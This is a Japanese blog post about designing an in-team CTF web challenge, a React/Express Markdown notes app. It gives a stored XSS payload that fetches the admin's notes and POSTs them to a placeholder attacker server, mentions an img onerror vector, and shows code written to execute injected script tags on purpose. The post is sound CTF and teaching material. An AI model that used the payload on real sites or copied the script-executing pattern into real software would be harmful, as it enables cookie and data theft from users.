10
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

m1z0r3Advent Calendar 2018

Day 8

チーム内CTFで作問した話 - XSS編

Last updated at Posted at 2018-12-08

この記事は m1z0r3 Advent Calendar 2018 の8日目です。

前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。

問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。

image.png

ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。

解答

普通にアプリケーション上のエディタで XSS を試しても <script> タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

<script>
  fetch('/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>

ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

「あれ、XSS できない!?」

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid にアクセスしたとき)に以下の手順を踏みます。

  1. Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
  2. index.js が実行され、 React が DOM を生成
  3. ノートの内容を取得するために axios で /api/notes/:uuid を叩く(その間は Loading ... が表示される)
  4. API の結果を元に再度 React がノートを描画する

まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。

そこで、React では dangerouslySetInnerHTML というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script> も実行されると思っていたのですが、 dangerouslySetInnerHTML で挿入した <script> は実行されません。1

どうやら MDN によると、 Element.innerHTML<script> を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'> などで XSS できる のですが(なので dangerouslySetInnerHTML を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。

XSS させるためにした工夫

さて、実際には onerror 等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script> を実行できるように頑張りました。

実は element.appendChild() を用いると <script> を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script> をすべて探し出し、 appendChild で最後にまとめて追加しました。

const fragment: DocumentFragment = document.createDocumentFragment()

const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)

const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
  const element = document.createElement('script')
  element.type = 'text/javascript'
  element.async = true
  if (script.src) element.src = script.src
  element.innerHTML = script.innerHTML
  fragment.appendChild(element)
}

this.state.instance.appendChild(fragment)

これにより、無理やりですが、ノートに書かれた script を実行できるようになりました。

  1. https://github.com/facebook/react/issues/8838

10
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
10
4

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?